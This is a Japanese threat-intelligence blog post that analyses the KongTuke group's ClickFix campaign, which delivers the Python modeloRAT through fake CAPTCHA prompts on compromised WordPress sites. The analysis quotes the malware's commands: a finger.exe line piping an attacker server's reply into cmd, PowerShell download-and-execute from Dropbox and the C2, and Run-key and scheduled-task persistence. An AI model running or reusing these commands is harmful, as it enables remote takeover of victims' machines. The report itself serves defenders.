マルウェア
攻撃者集団「KongTuke」がClickFixの手口にWordPressサイトを悪用:MDR調査結果を解説
攻撃者集団「KongTuke」が遠隔操作ツール「modeloRAT」を展開する攻撃キャンペーンを活発化させています。WordPress上の侵害されたサイトや偽のCAPTCHAページ経由で展開されるmodeloRATは、偵察活動、コマンド実行、長期的な不正アクセスを可能にします。KongTukeグループは、現在もこの感染チェーンを運用しつつ、ClickFixの新たな手口「CrashFix」を用いた攻撃活動も並行させています。
- TrendAI Vision One™のMDR(Managed Detection and Response)サービスは、攻撃者集団「KongTuke」に関わる継続的な攻撃活動を検知しました。KongTukeグループは、WordPress上の侵害されたサイトや偽のCAPTCHAページを誘導手口に、Pythonで作成された遠隔操作ツール「modeloRAT」を配信し続けています。同グループは、WordPress上の正規サイトに悪意あるJavaScriptを埋め込むことでプロンプトを表示させ、訪問者にPowerShellコマンドを実行するよう指示します。コマンドが実行された場合、多段階の感染処理が引き起こされます。
- 弊社MDRチームの調査により、KongTukeグループが上記の攻撃手口を継続的に用いているほか、訪問者を騙して不正ブラウザ拡張機能をインストールさせて感染を開始させる新たな手口「CrashFix」を並行させていることがわかりました。
- 本攻撃キャンペーンは、セキュリティ機能による検知を回避するために正規のシステムツールや信頼度の高いサービスに大きく依存しています。PowerShell、finger.exe、Dropboxに設置されたファイル、ポータブル版のPythonディストリビューションなどのコンポーネントを悪用することでKongTukeグループは、マルウェアを介したリモートコマンド実行や不正活動の永続化を維持できるほか、侵害されたシステム上での攻撃活動を続けながら、目立った痕跡をほとんど残さないようにしていると考えられます。
- 侵害されたサイトを閲覧したり、コマンド実行を求めるプロンプトに従って実行したりした場合、感染リスクにさらされる可能性があります。
- modeloRATは、システムが企業ドメインに属しているかどうかを確認するほか、インストールされているセキュリティツールを特定した上で自身の不正活動を継続します。このことからKongTukeグループは、無差別に感染させているのではなく、企業のネットワーク環境を狙っていると推測されます。
TrendAI Vision One™のサービス - MDRチームによる分析調査
初期侵入手口
2026年1月、セキュリティベンダ「Huntress」のリサーチチームは、攻撃者集団「KongTuke」の用いた新たな初期侵入手口を特定し、「CrashFix」と命名しました(詳細はこちら)。ClickFixの新たな手口「CrashFix」を用いるKongTukeグループはまず、Chrome向けの悪意ある拡張機能をインストールするようサイト訪問者を誘導します。訪問者が拡張機能をインストールした場合、「stopped abnormally.(ブラウザが異常終了しました。)」という偽のセキュリティ警告が表示され、修復手順に従ってコマンドを実行するよう指示されます。偽の警告を信じて指示に従った場合、意図せず不正コマンド(PowerShell)を実行することになります。
ただし、弊社MDRチームの調査では、不正ブラウザ拡張機能を用いた手口(CrashFix)の痕跡が見つかりませんでした。その代わりに、TrendAI Vision One™を用いたフォレンジック調査では、従来の「CHAPTCHAページを偽装したClickFix形式の誘導手口」が用いられた可能性が確認されました。被害者となったサイト訪問者は、攻撃者の指示(誘導手口)を実行する前に「florida 2025 IDTF facility」と検索し、WordPress上の正規サイトにアクセスしていました。
サイト訪問後の画面上の動作を直接確認することはできませんでしたが、マルウェア検索サイト「VirusTotal」を用いた事後調査では、外部から悪意あるJavaScriptが埋め込まれていたことが明らかとなりました。
- hxxps://ainttby[.]com/6f54.js(上掲図3)
- hxxps://ctpsih[.]com/2d5h.js(下掲図3)
セキュリティベンダ「LevelBlue」の報告(2025年4月)では、同様の手口がKongTukeグループの攻撃活動として関連付けられていました(詳細はこちら)。インフラの備えた特性(命名規則や自律システム番号(ASN)の重複を含む)は、特定されたドメイン上で確認されたものと一致していました。
それらのドメインは、本稿執筆時点でアクセス不可の状態でしたが、侵害されたサイトを訪問した際に別のJavaScriptが埋め込まれていたことが判明しました。
hxxps://foodgefy[.]com/6o0jk.js(162.33.178[.]171 — AS399629 [BL Networks])
埋め込まれたJavaScriptは、セキュリティベンダ「LevelBlue」の報告にあるKongtukeグループの手口と一致しており、以下を実行します。
- Cookieを設定する。
- CloudflareのAPIエンドポイントにリクエストを送信し、トレース情報(訪問者のIPアドレスなど)を取得する。
- 訪問者が用いたブラウザの種類やOS(オペレーティングシステム)などの情報を特定する。
- 特定した情報をhxxp[://]foodgefy[.]com/6o0jk[.]jsに送信する。
応答を受信するとJavaScriptは、document.write()を用いて、リモートサーバが返すコンテンツをそのまま動的に埋め込んで実行します。結果として攻撃者は、外部サーバから侵害されたサイトを遠隔制御し、任意のコンテンツやコードを埋め込めるようになります。
また、不正ドメインに直接アクセスした場合には、「It works」という文字列が返されます。これは、セキュリティベンダ「LevelBlue」の報告内容と一致しています(図5)。
セキュリティベンダ「LevelBlue」の報告内容(2025年4月)によると、埋め込まれたJavaScriptが実行された場合、訪問者にPowershellコマンドを実行するよう指示する偽のCAPTCHAページが表示されます。弊社が確認したPowerShellコマンドは、同報告のものとは異なりましたが、SOCアナリストが2026年1月に公開した内容(コマンドなど)と完全に一致していました(詳細はこちら)。同報告では、KongTukeグループがWordPress上の正規サイトに悪意あるJavaScriptを埋め込んで侵害し、偽のCAPTCHAページを用いた誘導手口を通じてPowerShellコマンドを実行させるという感染チェーンについて解説されており、弊社の調査結果と一致しています。
最近VirusTotalにアップロードされた情報から、似たスクリプトの埋め込まれたWordPressサイトが多数確認されており、同攻撃経路が依然として活発かつ大規模に展開されていることを示唆しています。
偽のCAPTCHAページに対するユーザ側の操作を最終的に確認することはできませんでしたが、閲覧履歴、埋め込まれたスクリプト、インフラにおける重複、一致する不正コマンド(PowerShell)の組み合わせから、この攻撃手口が初期侵入経路であった可能性を強く示しています。
実行
弊社の調査では、訪問者が「ファイル名を指定して実行」ダイアログを開いてクリップボードの内容をexplorer.exeに貼り付けた後、コマンドプロンプトを表示させずにセッションを起動させ、Windowsの標準搭載機能「finger.exe」を一時ファイル(ct.exe)にコピーして実行していたことが判明しました。KongTukeグループは、名前の変更されたバイナリを外部IPアドレス(45.61.138[.]224)にアクセスさせ、応答をコマンドインタプリタに直接パイプ(|)で渡すことで、リモートコマンド実行(RCE)を可能にしました(図6)。
finger.exeはWindowsの正規ネットワークツールですが、本事例ではリモートアクセスを不正に確立するために用いられました。
以下に、用いられた不正コマンドを示します。
cmd /c start "" /min cmd /c "copy %windir%\system32\finger.exe %temp%\ct.exe&%temp%\ct.exe confirm@45.61.138[.]224|cmd"\1
finger.exeユーティリティは、大規模なCharCode blob(ROT暗号で難読化されたPowerShellコードを含む)を取得した後、メモリ内で再構築・復号し、ディスクに書き込むことなく実行します。デコードされたローダ型マルウェアは、%AppData%\に第二段階のスクリプト(script.ps1)をダウンロードしてPowerShell経由で実行した後、フォレンジック調査に対する痕跡を減らすために削除します。これはKongTukeグループが、セキュリティ機能による検知を回避するために多層的な難読化、メモリ内実行、ファイル作成の痕跡削除を採用していることを示しています。
TrendAI Vision One™の観測データ(テレメトリ)から難読化の解除されたスクリプトの存在が明らかとなり、いくつかの偵察活動や環境検証機能を実行することがわかりました。
- プロセスの列挙および解析妨害機能:
- 同スクリプトは、一般的なセキュリティ機能や分析ツール(Wireshark、Procmon、Process Hacker、x64dbg、OllyDbg、IDA、Ghidra、Fiddler、Sysmon、VMware、VirtualBoxなど)の名前を含む配列($m)を定義します(図8)。
- さらにGet-Processコマンドレットを用いて実行中のプロセスを列挙し、各プロセス名を上記一覧と照合します(図8)。
- 一致するものが検出された場合、スクリプトは直ちに自身の不正活動を終了させます。これは、自身が解析環境内で実行されることを回避するための典型的な解析妨害/仮想マシン検知機能と言えます(図8)。
- ドメイン・メンバーシップの確認:
- SystemInfoからドメイン情報を抽出し、感染端末(ホスト)がドメインに参加しているか、WORKGROUPに属しているかを判定します(図8)。
- 上記の動作は、KongTukeグループが本攻撃キャンペーンで企業のネットワーク環境を優先的に狙っており、内部活動(情報探索など)を実行して潜在的な影響力を最大化させようとしていることを示唆しています。
- セキュリティ対策製品の列挙:
- 同スクリプトは、次のコマンドを用いてWMI(Windows Management Instrumentation)クエリを実行します。
- Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
- これにより、感染端末内にインストールされているセキュリティ対策製品の名前が収集されます。
- 同スクリプトは、次のコマンドを用いてWMI(Windows Management Instrumentation)クエリを実行します。
- 遠隔操作(C&C)サーバとの通信のやり取り:
- 同スクリプトは、収集したデータをHTTP POST経由で「hxxp://45.61.138[.]224/n」に送信します。
- メッセージ本文には、以下が含まれています。
- 攻撃キャンペーンの識別子(例:ABCD111n$ or BCDA222n$)
- 検出されたセキュリティ対策製品の名前
- 識別子(ドメイン環境かワークグループ環境かによって異なる)
実行方法
同スクリプトは、Invoke-WebRequest(iwr)を用いて、出力情報をiex(Invoke-Expression)にパイプで渡します。これは、C&Cサーバから返されたコンテンツが実行されることを示唆しています(図8)。
ドメインに参加している場合、同スクリプトは、以下の動作を実行します。
- DropboxからZIPファイルをダウンロードする。PowerShellコマンド「iwr -Uri " hxxps://www[.]dropbox[.]com/..." -OutFile "$env:appdata\Winpython.zip"」を用いて、攻撃者が制御するDropbox(リンク)からZIPファイルを取得し、%AppData%に保存する(図9)。
- ZIPファイルを展開する。同スクリプトは、コマンド「Expand-Archive -Path "$env:appdata\Winpython.zip" -DestinationPath "$env:appdata"」を用いて、ポータブル版のPythonディストリビューション(WPy64-31401)と考えられるファイルを展開する。
- 不正スクリプトを用いてPythonを実行する。同スクリプトは、コマンド「Start-Process -FilePath "$env:appdata\WPy64-31401\python\pythonw.exe" ` -ArgumentList "$env:appdata\WPy64-31401\python\modes.py」を通じて、pythonw.exeを起動(コンソールウインドウは表示されない)し、modes.py(弊社製品では「Trojan.Python.MODELORAT.SM」として検出)を実行する。
ModeloRATはその後、DropboxのURLから追加のペイロードをダウンロードし、Pythonスクリプト「extentions.py」を取得します。同スクリプトはpython.exeを用いて実行されました。
Command: -NonInteractive -NoProfile -WindowStyle Hidden -Command "iwr -Uri 'https://www.dropbox.com/scl/fi/np4h0kexqq5r9vlpzwg4d/rp?rlkey=fwg1koexylntccobyxaliju7w&st=3wxzp44k&dl=1' -OutFile \"$env:appdata\WPy64-31401\python\extentions.py\"; ls \"$env:appdata\WPy64-31401\python\"; Start-Process -FilePath \"$env:appdata\WPy64-31401\python\pythonw.exe\" -ArgumentList \"$env:appdata\WPy64-31401\python\extentions.py\";"
実行時にmodes.pyモジュール(modeloRAT)は、侵入活動の次の段階に移行する前に、侵害されたホストのプロファイリングを行う偵察活動を開始します。
テレメトリを分析した結果、modeloRATは、非対話型かつコンソールを表示させず(-NonInteractive -WindowStyle Hidden)にPowerShellを呼び出し、ユーザによる入力操作なく列挙された一連のコマンドをすぐに実行します(図11)。このスクリプトは、以下の情報を網羅的に収集します。
- ネットワーク構成およびアクティブなTCP接続
- システムの識別情報および権限に関わるコンテキスト
- 実行中のプロセスおよびインストールされているサービス
- ストレージ容量およびファイルシステムに関する詳細
- ドメイン・メンバーシップおよび環境の分類
これらのコマンドによる出力情報は、構造化されたJSON形式に整形されており、収集されたデータが自動で構文解析(パース)され、C&Cサーバのインフラに送信されることを示唆しています。
その後、Pythonベースのプロセス(modes.pyを実行したpythonw.exe)は、外部IPアドレス(158.247.252. 178:80および170.168.103.208:80)に対するアウトバウンド接続を繰り返すほか、149.154.164.13(Telegramのインフラに関連付けられている)に対するHTTPS接続を開始しました。これは、IPアドレスベースのエンドポイントとの直接通信やTelegramを介したチャネルの双方を用いて、C&Cサーバと通信のやり取りを実施していることを示唆しています。
不正活動を永続化させるために、以下のレジストリエントリが作成されました。
objectRegistryValue: monitoringservice
objectRegistryKeyHandle: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
objectRegistryData: C:\Users<ユーザ名>\AppData\Roaming\WPy64-31401\python\pythonw.exe C:\Users<ユーザ名>\AppData\Roaming\WPy64-31401\python\modes.py start
さらに正規のソフトウェア保護サービスに偽装させたスケジュールタスク「SoftwareProtection」を作成することで、不正活動の永続化を確立させます(以下のコマンドにより、Pythonで作成された不正ペイロードが5分毎に繰り返し実行されます)。
"C:\Windows\system32\schtasks.exe" /create /tn SoftwareProtection /tr ""C:\Users\<username>\AppData\Local\Microsoft\Windows\SoftwareProtectionPlatform\run.exe" "C:\Users\<username>\AppData\Local\Microsoft\Windows\SoftwareProtectionPlatform\udp.pyw"" /sc minute /mo 5 /f
udp.pywファイルを分析した結果、同スクリプトに対する文字列解析または手動分析を妨害するために多層的な難読化が施されていることが判明しました。
エントリ(udp.pywファイル)をデコードした後に現れた次の難読化層では、以下の手順が用いられました。
- エントリをリバースエンジニアリングする
- Base64でデコードする
- zlibを用いて展開する
上記の実行結果から、似た構造を含む別の難読化コードが現れました。難読化の解除を32回実施した結果、以下を含むコードが明らかとなりました。
- 解析妨害機能:Windows API経由でデバッガの有無を確認する、または、Python向けデバッガを検出する
- 多層的な暗号化:Base85でエンコード、AES-256を用いた暗号化、zlibを用いた圧縮、変換されたPythonコード
- ペイロードの実行:変換されたバイトコード(ペイロード)をmarshalモジュール経由で読み込む
本調査ではバイトコードの実行には至りませんでしたが、複数の文字列や同じ感染端末(ホスト)内に作成された以下の別のファイルへの参照が含まれていました。
AppData\Local\Microsoft\Windows\SoftwareProtectionPlatform\run.pyw
以下は、抽出された名前/関数の一覧です。
Names: ('psutil', 'os', 'subprocess', 'sys', 'time', 'getcwd', 'var_de19fc0291090dcb', 'path', 'normcase', 'var_2e81fe4a2321309f', '_decrypt_str', 'var_358b2857d44181b1', 'startswith', 'exit', 'main', '__name__')
「run.pyw」ファイルを分析した結果、「udp.pyw」ファイルと似た構造や実行フローを備えているほか、後者よりデータ量が大きいことがわかりました。また、同じ難読化解除方法を適用したところ、「run.pyw」がmarshalモジュール経由でPythonバイトコードを読み込むことが判明しました。以下は、抽出された名前/関数の一覧です。
Names: ('socket', 'sys', 'subprocess', 'os', 'html', 're', 'time', 'bs4', 'BeautifulSoup', 'threading', 'psutil', 'requests', 'Crypto.Util.Padding', 'Crypto', 'base64', 'getcwd', 'var_de19fc0291090dcb', 'path', 'normcase', 'var_2e81fe4a2321309f', '_decrypt_str', 'var_358b2857d44181b1', 'startswith', 'exit', 'var_c68c19a0ea74d15a', 'var_2b6b8037e2428633', 'var_d7ee27df16fe75f8', 'var_0d6f193b19a44f4a', 'var_6560076c59ac87ac', 'check', 'Thread', 'var_fd8ce270b6003277', 'start', 'get', 'var_cea36d54b621a48f', 'text', 'var_d09efe76ced85d6d', 'find', 'var_0e23b5f319056839', 'var_7c5f6bb71383d3f3', 'split', 'var_6d5d29b8058bdf65', 'var_687b9b2c70a5c665', 'var_faf655de6214f02a', 'var_86c69be4c78f2621', 'b64decode', 'var_1363a4c4e644abdf', 'bytes', 'enumerate', 'len', 'var_40eab56476d5b9f6', 'decode', 'var_ae751dbc35895e07', 'var_794ede7b4b034ebe', 'xor_encrypt_decrypt', 'get_codepage', 'run_command', 'get_domain', 'connect_to_server', 'authenticate', 'main', '__name__')
このバイトコードには、インターネットアクセス、システム制御、自己隠蔽の機能に関わる関数の文字列エントリが含まれています。これらのことからKongTukeグループは、リモートアクセスやコマンドを実行するために、このスクリプト(バックドア)の不正活動を永続化させていたと考えられます。
まとめとセキュリティ上の推奨事項
攻撃者集団「Kongtuke」は、従来の手口を置き換えるのではなく、拡張させています。Huntress社の報告では、ClickFixの新たな手口「CrashFix」について強調されていますが、弊社MDRチームの調査結果からは、Kongtukeグループが依然としてWordPress上の侵害されたサイトや偽のCAPTCHAページを誘導手口に用いて初期侵入を謀っていることが判明しました。
Kongtukeグループが用いる2つの配信経路(ブラウザ拡張機能を悪用する手口「CrashFix」または「ClickFix」/偽のCAPTCHAページを用いた攻撃チェーン)は、最終的に「Pythonベースの遠隔操作ツール「modeloRAT」を展開する」という同じ目的に行き着きます。異なる初期侵入手口にもかかわらずペイロードに一貫性が見られることは、同グループがモジュール型マルウェアを十分に高度化させて運用していることを示唆しています。Kongtukeグループは、WordPress上の侵害されたサイトを攻撃基盤として維持しつつ、初期侵入の手口を多様化させています。
VirusTotalから得たテレメトリも、上記の攻撃活動が現在も継続している可能性を裏付けています。侵害されたサイトの多くは、依然としてマルウェアが埋め込まれたままであり、被害が拡大するリスクが高まっています。これは、Kongtukeグループが単発の攻撃キャンペーンではなく、広範囲かつ長期的で実効性の高い攻撃活動を重視していることを示唆しています。
企業組織は、複数の防御策を講じることで、本記事で解説した脅威を軽減できます。
- Webサーバのセキュリティを強化し、適切に運用管理する。WordPressのコアファイル、テーマ、プラグインを定期的に更新して修正プログラム(パッチ)を適用し、Webサイトが侵害されるリスクを低減させましょう。また、使用していないプラグインを無効化し、管理者権限を用いた制御を徹底させましょう。
- EDR(Endpoint Detection and Response)機能を強化しましょう。エンドポイントへのセキュリティ対策(EDR)を設定し、不審なコマンドライン操作、エンコードされたPowerShell、プロセスにおける不審な親子関係、ネットワーク上の異常なアウトバウンド接続に対して警告アラートが発令されるようにしましょう。
- 従業員にトレーニングを実施し、セキュリティ意識を向上させましょう。正規サイトやセキュリティツールは、エラー修正やCAPTCHA認証時に、ユーザにコマンド実行を要求しないことを周知させましょう。
本攻撃キャンペーンは、最終的に人間による操作を必要とします。企業組織が効果的に感染リスクを低減させるためには、技術的な保護対策を講じ、従業員に対するセキュリティ教育を継続的に実施することが不可欠です。
TrendAI Vision One™によるプロアクティブセキュリティ
TrendAI Vision One™は、CREM(Cyber Risk Exposure Management)やセキュリティオペレーションを一元化し、オンプレミス、ハイブリッド、マルチクラウド環境にまたがる堅牢な多層防御を提供する、唯一のAI駆動型統合セキュリティ基盤です。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hubでは、新たな脅威や攻撃者に関する最新の知見やTrendAI™ Research独自の戦略レポート、Threat Intelligence Feed(スレットインテリジェンスを用いた保護機能)を提供しています。
新たな脅威:KongTuke's ClickFix Abuse of Compromised WordPress Sites
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
KongTuke's ClickFix Abuse of Compromised WordPress Sites
TrendAI Vision One™ Search App
Trend Vision Oneをご利用のお客様は、検索アプリにお客様の環境内のデータを用いることで、本ブログ記事で言及されている悪意のある指標をマッチングまたはハントすることができます。
スレットハンティングクエリ
「ModeloRat」の検出
malName: *AND eventName:MALWARE_DETECTION AND LogType: detection*
作成されるスケジュールタスク
eventSubId: 101 AND parentCmd:services.exe AND processCmd:Schedule AND objectFilePath:C:\Windows\System32\Tasks\SoftwareProtection
TrendAI Vision Oneをご利用中で、「Threat Intelligence Hub」が有効となっている場合、より多くの脅威ハンティングクエリをご確認いただけます。
侵入の痕跡(IoC: Indicators Of Compromise)
本ブログ記事に関する侵入の痕跡は、こちらをご参照ください。
参考記事
Through the Lens of MDR: Analysis of KongTuke’s ClickFix Abuse of Compromised WordPress Sites
By: Aira Marcelo, Jovit Samaniego, Ryan Maglaque, Fe Cureg, Lisa Wu
翻訳:益見 和宏(Platform Marketing, TrendAI™ Research)